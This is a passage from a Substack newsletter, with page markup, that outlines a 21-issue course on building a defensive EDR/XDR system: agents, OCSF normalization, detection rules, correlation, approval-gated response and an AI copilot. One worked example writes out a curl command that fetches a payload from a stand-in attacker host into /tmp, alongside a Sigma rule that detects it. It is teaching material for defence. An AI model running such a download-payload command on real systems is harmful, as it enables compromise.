https://substackcdn.com/image/fetch/$s_!IWe9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IWe9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png" width="1456" height="1480" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1480,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1199102,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209594346?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IWe9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 424w, https://substackcdn.com/image/fetch/$s_!IWe9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 848w, https://substackcdn.com/image/fetch/$s_!IWe9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1272w, https://substackcdn.com/image/fetch/$s_!IWe9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6073703a-bc16-4a8f-b2d7-efddf0e2e182_4800x4880.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>Overall Architecture</h2><pre><code><code>Linux / Windows / macOS / K8s agents
        &#8595; (OCSF JSON events)
Buffer (SQLite) + mTLS shipper
        &#8595;
Ingest &#8594; broker (file-backed / Kafka-Redpanda) &#8594; ClickHouse/SQLite
        &#8595;
Detections (Sigma + behavioral) &#8594; XDR correlation &#8594; ITDR
        &#8595;
Response (approved actions only)
        &#8595;
SOC dashboard / AI copilot
</code></code></pre><div><hr></div><h2>The 21-Issue Curriculum</h2><h3>Module 0 &#8212; Foundations</h3><p><strong>Issue 01 &#8212; Foundations, Threat Model, OCSF</strong> <em>(v01-foundations-ocsf)</em></p><ul><li><p>What&#8217;s covered: The threat model for the system and an introduction to OCSF (Open Cybersecurity Schema Framework) as the shared event language.</p></li><li><p>What you build/work with: The conceptual foundation and schema mapping approach used by every later issue.</p></li><li><p>Key concepts: Why a common schema matters when events come from different operating systems.</p></li><li><p>Why it matters: Every agent, every detection rule, and every dashboard view depends on this normalized format existing first.</p></li></ul><div><hr></div><h3>Module 1 &#8212; Agents</h3><p><strong>Issue 02 &#8212; Linux Agent (eBPF)</strong> <em>(v02-linux-agent-ebpf)</em></p><ul><li><p>What&#8217;s covered: A Linux agent built with eBPF/Aya that observes process activity, run in <code>--mode replay</code> against fixture files like <code>exec-events.jsonl</code>.</p></li><li><p>What you build/work with: Raw kernel-style event capture and conversion into OCSF Process Activity events, including the durable <code>process.uid</code> (boot:pid:start_time) used to link related events.</p></li><li><p>Key concepts: eBPF as a kernel-hook mechanism; replay-based lab testing.</p></li><li><p>Why it matters: This is the first &#8220;eyes on the machine&#8221; sensor and the template for how all agents feed the pipeline.</p></li></ul><p><strong>Issue 03 &#8212; Windows Agent (ETW)</strong> <em>(v03-windows-agent-etw)</em></p><ul><li><p>What&#8217;s covered: A Windows agent built on ETW (Event Tracing for Windows).</p></li><li><p>What you build/work with: OS-specific event capture translated into the same OCSF format used by the Linux agent.</p></li><li><p>Key concepts: Cross-platform normalization &#8212; different collection mechanism, same output schema.</p></li><li><p>Why it matters: Demonstrates that the backend doesn&#8217;t need to care which OS an event came from once OCSF is applied.</p></li></ul><p><strong>Issue 04 &#8212; macOS Agent (ES Scaffold)</strong> <em>(v04-macos-agent-esf)</em></p><ul><li><p>What&#8217;s covered: A macOS agent scaffold structured around Endpoint Security (ES).</p></li><li><p>What you build/work with: The agent&#8217;s structural scaffold/mock rather than a fully live ES integration.</p></li><li><p>Key concepts: How to design an agent interface even when the underlying OS hook is not fully implemented.</p></li><li><p>Why it matters: Completes the three-OS agent story while being honest about what is scaffolded versus fully built.</p></li></ul><div><hr></div><h3>Module 2 &#8212; Transport &amp; Pipeline</h3><p><strong>Issue 05 &#8212; Transport, Buffering, mTLS</strong> <em>(v05-transport-mtls)</em></p><ul><li><p>What&#8217;s covered: The transport layer &#8212; a SQLite-backed buffer for offline resilience and mTLS for secure, authenticated shipping.</p></li><li><p>What you build/work with: A shipper that batches and sends events over HTTPS with certificate-based identity.</p></li><li><p>Key concepts: Buffering against network loss; mutual TLS as agent-to-backend authentication.</p></li><li><p>Why it matters: Events are worthless if they&#8217;re lost in transit or spoofable &#8212; this is the &#8220;sealed courier bag&#8221; of the system.</p></li></ul><p><strong>Issue 06 &#8212; Pipeline: Kafka &#8594; ClickHouse</strong> <em>(v06-pipeline-clickhouse)</em></p><ul><li><p>What&#8217;s covered: The backend ingest pipeline &#8212; accepting batches, queuing them on a broker (file-backed in labs, Redpanda/Kafka in the fuller setup), and flattening OCSF into stored rows.</p></li><li><p>What you build/work with: Ingest &#8594; broker &#8594; consumer &#8594; storage (SQLite in demos, ClickHouse for analytics).</p></li><li><p>Key concepts: Queue-based decoupling of ingest from storage; flattening structured events into analyzable rows.</p></li><li><p>Why it matters: This is the receive-queue-store backbone every later detection and correlation issue reads from.</p></li></ul><div><hr></div><h3>Module 3 &#8212; Telemetry Depth</h3><p><strong>Issue 07 &#8212; File Telemetry</strong> <em>(v07-file-telemetry)</em></p><ul><li><p>What&#8217;s covered: File-related event capture and OCSF mapping.</p></li><li><p>What you build/work with: File write/create events flowing through the same agent-to-pipeline path.</p></li><li><p>Key concepts: Extending an OCSF event category beyond process activity.</p></li><li><p>Why it matters: File events are core evidence in the &#8220;curl &#8594; /tmp&#8221; style detection pattern used later.</p></li></ul><p><strong>Issue 08 &#8212; Network Telemetry</strong> <em>(v08-network-telemetry)</em></p><ul><li><p>What&#8217;s covered: Network connection event capture and normalization.</p></li><li><p>What you build/work with: Network activity events joined to the same process context via <code>process.uid</code>.</p></li><li><p>Key concepts: Linking network activity to the process that initiated it.</p></li><li><p>Why it matters: Enables detections and correlation that combine &#8220;what ran&#8221; with &#8220;what it connected to.&#8221;</p></li></ul><p><strong>Issue 09 &#8212; Persistence Telemetry &amp; Coverage Matrix</strong> <em>(v09-persistence-telemetry)</em></p><ul><li><p>What&#8217;s covered: Persistence-mechanism telemetry (how attackers stay resident on a system) plus a coverage matrix documenting what is and isn&#8217;t observed.</p></li><li><p>What you build/work with: Additional event types and a matrix tracking detection coverage across the system.</p></li><li><p>Key concepts: Persistence as an attacker technique category; the value of tracking telemetry coverage explicitly.</p></li><li><p>Why it matters: Establishes an honest record of what the system can and cannot see &#8212; important for both engineering and later capstone reporting.</p></li></ul><p><strong>Issue 10 &#8212; Kubernetes / Container Telemetry</strong> <em>(v10-k8s-ebpf-agent)</em></p><ul><li><p>What&#8217;s covered: A Kubernetes agent producing container-enriched events.</p></li><li><p>What you build/work with: Container context added to the same OCSF event pipeline used by the OS agents.</p></li><li><p>Key concepts: Extending endpoint visibility into containerized workloads.</p></li><li><p>Why it matters: Real environments aren&#8217;t just laptops &#8212; this brings container visibility into the same pipeline.</p></li></ul><div><hr></div><h3>Module 4 &#8212; Detection</h3><p><strong>Issue 11 &#8212; Sigma-as-Code Detection Engine</strong> <em>(v11-sigma-detection-engine)</em></p><ul><li><p>What&#8217;s covered: A detection engine built around Sigma-as-code rules (YAML-based rules such as <code>proc_curl_tmp.yml</code>, which alerts when a process named curl runs with <code>/tmp</code> in the command line).</p></li><li><p>What you build/work with: A rule-matching engine that treats Sigma as a conversion story &#8212; rules mapped against OCSF fields.</p></li><li><p>Key concepts: Declarative detection logic; rule-to-schema mapping.</p></li><li><p>Why it matters: This is the first &#8220;rules that shout&#8221; layer &#8212; the system&#8217;s first line of automated suspicion.</p></li></ul><p><strong>Issue 12 &#8212; Behavioral Detection</strong> <em>(v12-behavioral-detection)</em></p><ul><li><p>What&#8217;s covered: Behavioral scoring (<code>behavioral_score.py</code>) that fuses multiple weak signals into a stronger signal.</p></li><li><p>What you build/work with: A scoring mechanism that goes beyond single-rule matches.</p></li><li><p>Key concepts: Signal fusion versus single-rule alerting.</p></li><li><p>Why it matters: Real attacker behavior is rarely caught by one rule alone &#8212; this teaches combining weak evidence.</p></li></ul><div><hr></div><h3>Module 5 &#8212; XDR Correlation &amp; Identity</h3><p><strong>Issue 13 &#8212; XDR Correlation</strong> <em>(v13-xdr-correlation)</em></p><ul><li><p>What&#8217;s covered: Correlation logic (<code>backend/correlation</code>) that links host, user, IP, and file-hash signals into a single incident.</p></li><li><p>What you build/work with: The engine that promotes related alerts into one incident record.</p></li><li><p>Key concepts: This is the practical definition of &#8220;X&#8221; in XDR &#8212; connecting clues across entities rather than viewing alerts in isolation.</p></li><li><p>Why it matters: Without correlation, an analyst sees a pile of disconnected alerts instead of one attack story.</p></li></ul><p><strong>Issue 14 &#8212; ITDR (Identity Threat Detection)</strong> <em>(v14-itdr)</em></p><ul><li><p>What&#8217;s covered: Identity-based detection rules, such as impossible-travel logins.</p></li><li><p>What you build/work with: Identity signals feeding into the same correlation pipeline.</p></li><li><p>Key concepts: Identity as a first-class telemetry source alongside host and process data.</p></li><li><p>Why it matters: Modern attacks frequently involve compromised credentials, not just malware &#8212; this extends detection beyond the endpoint.</p></li></ul><div><hr></div><h3>Module 6 &#8212; Response</h3><p><strong>Issue 15 &#8212; Response Actions</strong> <em>(v15-response-actions)</em></p><ul><li><p>What&#8217;s covered: A control-plane response system (<code>backend/response</code>) supporting actions like <code>KillProcess</code>, <code>QuarantineFile</code>, and <code>IsolateHost</code>.</p></li><li><p>What you build/work with: A response mechanism that strictly separates the data plane (seeing events) from the control plane (taking action), per ADR 001 &#8212; actions only execute with an explicit <code>--approved</code> flag and are audited to <code>audit.jsonl</code>.</p></li><li><p>Key concepts: Data plane / control plane separation; approval-gated automation; audit logging.</p></li><li><p>Why it matters: No silent auto-response &#8212; this models a safe, deliberate action system rather than an autonomous one.</p></li></ul><div><hr></div><h3>Module 7 &#8212; Analyst Experience</h3><p><strong>Issue 16 &#8212; SOC Dashboard</strong> <em>(v16-soc-dashboard)</em></p><ul><li><p>What&#8217;s covered: A static SOC UI showing alerts, hosts, and process trees.</p></li><li><p>What you build/work with: The analyst-facing view of everything built in prior issues &#8212; alerts, entities, and process ancestry.</p></li><li><p>Key concepts: Turning backend data into an investigable interface.</p></li><li><p>Why it matters: Detection and correlation are only useful if an analyst can actually see and act on them.</p></li></ul><p><strong>Issue 17 &#8212; AI Copilot</strong> <em>(v17-ai-copilot)</em></p><ul><li><p>What&#8217;s covered: An AI copilot that can propose actions (with citations) based on alert data.</p></li><li><p>What you build/work with: Constrained AI tooling layered on top of the dashboard and backend data.</p></li><li><p>Key concepts: AI-assisted investigation with proposal-only behavior &#8212; the copilot suggests, it doesn&#8217;t auto-fire.</p></li><li><p>Why it matters: Reflects how AI is realistically integrated into a SOC workflow &#8212; as an assistant, not an autonomous actor.</p></li></ul><p><strong>Issue 18 &#8212; Copilot Red-Team Testing</strong> <em>(v18-copilot-redteam)</em></p><ul><li><p>What&#8217;s covered: Red-team/injection testing against the AI copilot.</p></li><li><p>What you build/work with: Test cases probing the copilot&#8217;s constrained tool boundaries.</p></li><li><p>Key concepts: Adversarial testing of AI tooling, including prompt-injection resistance.</p></li><li><p>Why it matters: An AI system with tool access needs to be tested against manipulation, not just functionality.</p></li></ul><div><hr></div><h3>Module 8 &#8212; Hardening &amp; Capstone</h3><p><strong>Issue 19 &#8212; Evasion &amp; Anti-Tamper</strong> <em>(v19-evasion-antitamper)</em></p><ul><li><p>What&#8217;s covered: A watchdog/health-check lab for anti-tamper concepts.</p></li><li><p>What you build/work with: Basic mechanisms for detecting agent tampering or evasion attempts.</p></li><li><p>Key concepts: Why endpoint agents themselves need to be resistant to interference.</p></li><li><p>Why it matters: An EDR agent that can be silently disabled by an attacker isn&#8217;t providing real protection.</p></li></ul><p><strong>Issue 20 &#8212; Capstone Hardening / Packaging</strong> <em>(v20-capstone-hardening)</em></p><ul><li><p>What&#8217;s covered: Packaging the stack with a Helm chart (<code>deploy/helm/edrxdr/</code>).</p></li><li><p>What you build/work with: A Helm chart skeleton to deploy the backend-ish stack.</p></li><li><p>Key concepts: Packaging a multi-component system for deployment.</p></li><li><p>Why it matters: Moves the project from &#8220;a set of scripts&#8221; toward something deployable as a unit.</p></li></ul><p><strong>Issue 21 &#8212; Capstone Red-Team &amp; Coverage Report</strong> <em>(v21-capstone-redteam-final)</em></p><ul><li><p>What&#8217;s covered: A final red-team pass and a coverage report summarizing what the system detects and where its gaps are.</p></li><li><p>What you build/work with: An end-to-end validation exercise against the full system built across all 21 issues.</p></li><li><p>Key concepts: Coverage assessment as an honest closing exercise, not a claim of completeness.</p></li><li><p>Why it matters: Ties the entire course together by testing the system you built against realistic attacker behavior &#8212; and documenting its limits.</p></li></ul><div><hr></div><h2>How the Pieces Connect</h2><p>The end-to-end story taught across all 21 issues is: <strong>see &#8594; normalize &#8594; ship &#8594; store &#8594; detect &#8594; connect &#8594; act &#8594; review.</strong></p><p>A concrete example: a host runs <code>curl https://evil.example/payload.sh -o /tmp/payload.sh</code>. The Linux agent (or its replay fixture) observes the process launch, converts it to an OCSF Process Activity event, and ships it over the buffered mTLS transport into the ingest pipeline. A Sigma rule (<code>ocsf-proc-curl-tmp</code>) matches and fires a medium alert. If related signals appear &#8212; an unusual network connection, an anomalous login &#8212; the correlation engine promotes these into a single incident. The dashboard shows the process tree, the copilot proposes an action, and an operator runs an approved response command, which is written to the audit log.</p><p>Every issue in the curriculum is one link in that chain.</p><div><hr></div><h2>What You&#8217;ll Learn</h2><ul><li><p>How OCSF normalization allows heterogeneous event sources to be treated uniformly</p></li><li><p>eBPF, ETW, and Endpoint Security concepts as OS-level observation mechanisms</p></li><li><p>Secure telemetry transport using buffering and mTLS</p></li><li><p>Ingest pipeline design with broker-based queuing and analytical storage (ClickHouse)</p></li><li><p>Writing and reasoning about Sigma-as-code detection rules</p></li><li><p>Behavioral signal fusion versus single-rule detection</p></li><li><p>XDR correlation logic that links host, user, IP, and hash into incidents</p></li><li><p>Identity-based detection (ITDR) concepts like impossible travel</p></li><li><p>Data-plane/control-plane separation and approval-gated response design</p></li><li><p>Building an analyst-facing SOC dashboard</p></li><li><p>Integrating an AI copilot safely, including red-team testing of AI tooling</p></li><li><p>Anti-tamper considerations for endpoint agents</p></li><li><p>Packaging a multi-service security stack with Helm</p></li></ul><div><hr></div><h2>Important Note</h2><p>This course produces a <strong>demoable vertical slice</strong>, not a commercial security product. Several components are explicitly scaffolds or labs &#8212; the macOS agent is built around an ES scaffold, most agent demos run in replay mode against fixture files rather than live kernel hooks, and the broker/storage layer runs in a simplified, file-backed or SQLite form in labs. This is not a claim that completing these 21 issues produces a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. The purpose is to teach the real architectural layering these platforms use, honestly and at a scope that&#8217;s actually learnable.</p><div><hr></div><h2>Conclusion</h2><p>By the end of Issue 21, you will have built &#8212; layer by layer &#8212; a working vertical slice of an EDR/XDR system: agents that observe activity, a shared schema that normalizes it, a secure pipeline that moves and stores it, detection and correlation logic that turns raw events into incidents, and a response and analyst layer that lets a human (with AI assistance) act on what the system finds. You won&#8217;t have built a commercial product &#8212; but you&#8217;ll understand, from the inside, how one is actually put together.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Course Announcement: Build a Production-Grade EDR/XDR From Scratch (21-Issue Hands-On Security Engineering Course)]]></title><description><![CDATA[Build a Production-Grade EDR/XDR From Scratch]]></description><link>https://howtech.substack.com/p/course-announcement-build-a-production</link><guid isPermaLink="false">https://howtech.substack.com/p/course-announcement-build-a-production</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Wed, 05 Aug 2026 07:36:44 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!puxZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3>Build a Production-Grade EDR/XDR From Scratch</h3><p><strong>A 21-issue engineering course on how modern security platforms are actually built &#8212; one layer at a time.</strong></p><p>If you&#8217;ve ever wondered what&#8217;s really happening inside tools like CrowdStrike, SentinelOne, or Elastic Security when they detect an attacker on a laptop, this course is for you. Over 21 newsletter issues, we build a working &#8212; if intentionally simplified &#8212; EDR/XDR system from the ground up, so you understand the engineering, not just the marketing.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><div><hr></div><h2>What EDR Actually Means</h2><p><strong>EDR (Endpoint Detection and Response)</strong> is software that watches a single machine closely: what processes start, what files get written, what network connections open. Think of it as a very attentive security camera pointed at one computer.</p><h2>What XDR Actually Means</h2><p><strong>XDR (Extended Detection and Response)</strong> takes that idea further &#8212; it connects clues from <em>many</em> sources (different hosts, user identities, containers) into a single incident story. Instead of &#8220;curl ran on laptop-01,&#8221; XDR asks: &#8220;does this connect to that weird login and that unusual outbound connection on another host?&#8221;</p><div><hr></div><h2>What You&#8217;ll Actually Build</h2><p>You&#8217;ll build a layered pipeline that mirrors how real EDR/XDR platforms are structured:</p><ul><li><p><strong>Agents</strong> for Linux, Windows, macOS, and Kubernetes that observe activity on a host</p></li><li><p>A <strong>common event format (OCSF)</strong> that normalizes what each OS reports into one shared language</p></li><li><p>A <strong>secure transport layer</strong> that buffers events and ships them with mutual TLS</p></li><li><p>An <strong>ingest and storage pipeline</strong> that queues and persists events</p></li><li><p><strong>Detection rules</strong> (Sigma-as-code) and <strong>behavioral scoring</strong> that flag suspicious patterns</p></li><li><p><strong>Correlation logic</strong> that stitches related alerts into a single incident (the &#8220;X&#8221; in XDR)</p></li><li><p>A <strong>SOC dashboard</strong> and an <strong>AI copilot</strong> that help an analyst investigate</p></li><li><p>A <strong>response layer</strong> that can take action &#8212; but only with explicit approval</p></li></ul><div><hr></div><h2>The Architecture, In Plain Terms</h2><pre><code><code>Agents (Linux/Windows/macOS/K8s)
        &#8595;  (convert to OCSF JSON)
Secure transport (buffer + mTLS)
        &#8595;
Ingest &#8594; broker &#8594; storage
        &#8595;
Detections &#8594; correlation
        &#8595;
Dashboard / AI copilot &#8594; response (approved actions only)</code></code></pre><p>Each arrow in that diagram is its own set of issues in the course.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!puxZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!puxZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 424w, https://substackcdn.com/image/fetch/$s_!puxZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 848w, https://substackcdn.com/image/fetch/$s_!puxZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1272w, https://substackcdn.com/image/fetch/$s_!puxZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!puxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png" width="502" height="605.6136865342163" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1093,&quot;width&quot;:906,&quot;resizeWidth&quot;:502,&quot;bytes&quot;:115677,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209593970?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!puxZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 424w, https://substackcdn.com/image/fetch/$s_!puxZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 848w, https://substackcdn.com/image/fetch/$s_!puxZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1272w, https://substackcdn.com/image/fetch/$s_!puxZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e65f0b1-ee5d-481d-8f24-4074233a5c13_906x1093.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h2>The Technologies You&#8217;ll Work With</h2><ul><li><p><strong>eBPF (via Aya)</strong> for the Linux agent, <strong>ETW</strong> for Windows, and an <strong>Endpoint Security scaffold</strong> for macOS</p></li><li><p><strong>OCSF (Open Cybersecurity Schema Framework)</strong> &#8212; the shared event schema, verified against the real 1.8.0 spec &#8212; so a process launch on Linux and one on Windows look the same to the backend</p></li><li><p><strong>mTLS and SQLite-based buffering</strong> in the transport layer, so events aren&#8217;t lost if the network drops</p></li><li><p><strong>Kafka-style broker &#8594; ClickHouse/SQLite</strong> pipeline for ingest and storage</p></li><li><p><strong>Sigma-as-code detection rules</strong> plus a behavioral scoring engine and identity-based detection (ITDR) for things like impossible-travel logins</p></li><li><p>A <strong>correlation engine</strong> that links host, user, IP, and file-hash signals into one incident</p></li><li><p>A <strong>control-plane response system</strong> (kill process, quarantine file, isolate host) that is deliberately separated from the data plane and requires an explicit <code>--approved</code> flag &#8212; no silent auto-isolation</p></li><li><p>A <strong>SOC dashboard</strong> and an <strong>AI copilot</strong> with constrained tools and red-team testing built in</p></li><li><p>A <strong>Helm chart</strong> for packaging the stack</p></li></ul><div><hr></div><h2>What Makes This Different</h2><p>Most security courses either stay theoretical or hand you a black-box product to click around in. This course does neither:</p><ul><li><p><strong>You build every layer yourself</strong>, from raw kernel events to the final incident view.</p></li><li><p><strong>Labs run on replay fixtures</strong> (recorded event files) rather than requiring live kernel access on your machine, so you can follow along without special hardware or risky live hooking.</p></li><li><p><strong>Design decisions are documented</strong>, including the ADR that separates &#8220;seeing&#8221; (data plane) from &#8220;acting&#8221; (control plane) &#8212; a real architectural principle used in production security systems.</p></li><li><p><strong>Detection is taught as a conversion story</strong>, not a magic black box &#8212; you&#8217;ll see exactly how a raw event becomes an OCSF record becomes a matched rule becomes a correlated incident.</p></li></ul><div><hr></div><h2>How the 21 Issues Progress</h2><p>The course moves in a deliberate build order, roughly following the attack lifecycle a real analyst deals with:</p><ol><li><p><strong>Foundations</strong> &#8212; threat model and the OCSF schema you&#8217;ll normalize everything into</p></li><li><p><strong>Agents</strong> &#8212; Linux (eBPF), Windows 